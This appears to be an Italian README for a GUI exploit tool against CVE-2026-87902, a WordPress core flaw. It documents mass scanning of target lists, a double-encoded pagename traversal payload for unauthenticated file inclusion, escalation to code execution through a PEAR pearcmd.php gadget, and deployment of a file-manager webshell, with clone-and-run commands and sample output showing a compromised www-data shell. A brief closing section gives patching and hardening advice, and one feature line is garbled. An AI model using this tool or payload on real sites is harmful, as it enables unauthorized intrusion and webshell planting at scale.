Console di exploit GUI Tkinter per CVE-2026-87902: identifica WordPress, conferma LFI non autenticato tramite traversal di pagename, scala a RCE attraverso una catena di gadget PEAR e distribuisce un file manager.
WordPress Core get_page_template() — LFI non autenticata → Gadget PEAR → RCE
Una GUI dark-neon costruita sulla logica di MRdark-ops/CVE-2026-87902.
Una moderna GUI Tkinter (solo libreria standard, nessuna dipendenza di terze parti) per
CVE-2026-87902 — una Local File Inclusion non autenticata nel core di WordPress tramite il
parametro pagename di get_page_template(), escalata a Remote Code Execution
attraverso una catena di gadget PEAR (pearcmd.php + config-create).
4.7.0 – 7.1.16.8.10, 7.0.6, 7.1.27hp8-65ch-5whpcheck-only conferma la LFI senza eseguire nullapearcmd.php (Linux + XAMPP/Windows) su profondità 1–19, scrive PHP tramite config-createfm_<hex>.php nella directory di drop configurata una volta che la RCE riescepip install necessario — pura libreria standard
(tkinter, urllib, ssl, socket, gzip, zlib, threading, queue, ...)Se Tkinter manca sul tuo sistema (è un pacchetto del sistema operativo, non un pacchetto pip):
| Piattaforma | Comando |
|---|---|
| Debian / Ubuntu | sudo apt install python3-tk |
| Fedora / RHEL | sudo dnf install python3-tkinter |
| Arch Linux | sudo pacman -S tk |
| macOS (Homebrew) | brew install python-tk |
| Windows | Incluso nell'installer ufficiale di Python |
git clone https://github.com/tonydelouvre/CVE-2026-87902.git
cd CVE-2026-87902
python3 xwp_gui.py
Scorciatoie da tastiera:
| Tasto | Azione |
|---|---|
Ctrl+Enter | Avvia scansione |
Esc | Ferma scansione |
SINGLE (un URL) o MASS, poi BROWSE LIST un file .txt
contenente un URL per riga.exploit -> RCE e deploy file manager per la catena completa, oppure
check-only per una verifica sicura.oracle, depths, segments, probe, threads, timeout, proxy.| Campo | Predefinito | Descrizione |
|---|---|---|
target url | – | URL base di destinazione (modalità singola) |
target list | – | File di URL (modalità massiva) |
command | id | Comando eseguito una volta ottenuto l'RCE |
drop dir | /tmp | Directory in cui viene scritto il File Manager |
oracle | wp-links-opml | File core sfruttato come oracle LFI |
depths | 4,3,5,6,7 | Profondità di traversal ../ da provare |
segments | templates,templates/page-templates,page-templates | Directory page-* del tema |
probe | 12 | Numero di valori page_id da sondare |
threads | 10 | Worker paralleli (max 50) |
timeout | 12.0 | Timeout per richiesta in secondi |
max time | 60.0 | Budget di tempo per target in secondi |
proxy | – | http://host:port |
build_pagename() produce segment + %252f + N× %252e%252e%252f + target,
applicando una doppia codifica URL:
/?page_id=<N>&pagename=templates%252f%252e%252e%252f...%252fwp-links-opml
| Fase | Modulo | Azione |
|---|---|---|
| 1. Fingerprint | Fingerprinter | Rileva WordPress + versione (generator, ?ver=, wp-links-opml.php) e tema |
| 2. Precondizione | PreconditionChecker | Individua la directory page-* del tema usata come segmento di traversal |
| 3. Discovery | PageDiscoverer | Raccoglie i valori page_id tramite REST API, sitemap, shortlink, classi page-id- |
| 4. LFI | TraversalExploiter | Richiede ?page_id=N&pagename=<percorso con doppia codifica> e cerca l'oracolo <opml version= |
| 5. RCE | RCEEscalator | Individua un gadget pearcmd.php a profondità 1–19, scrive PHP tramite pear +config-create+, esegue il comando |
| 6. Post-exploit | shell.php | Distribuisce il File Manager (fm_<hex>.php) nella directory di drop |
Scorciatoie sulla versione: se il fingerprint riporta patched o out_of_range, il target viene
saltato immediatamente per risparmiare tempo.
La scheda RESULTS mostra le colonne target, verdict, version, lfi, rce, shell.
Le righe classificate VULNERABLE sono evidenziate in ciano; le righe che hanno ottenuto RCE diventano magenta.
EXPORT scrive tutto in CSV:
target,verdict,version,lfi,rce,shell,detail
http://target.local,VULNERABLE,6.4,templates/../../ d=4 POST,uid=33(www-data),http://target.local/?page_id=2&pagename=...,
Per gli amministratori di sistema:
7.1.2 o successiva (backport: 6.8.10, 7.0.6, 7.1.2).pagename contiene ../ o %2e%2e.register_argc_argv in php.ini — questo interrompe la catena di gadget PEAR.pearcmd.php se PEAR non è necessario.; php.ini
register_argc_argv = Off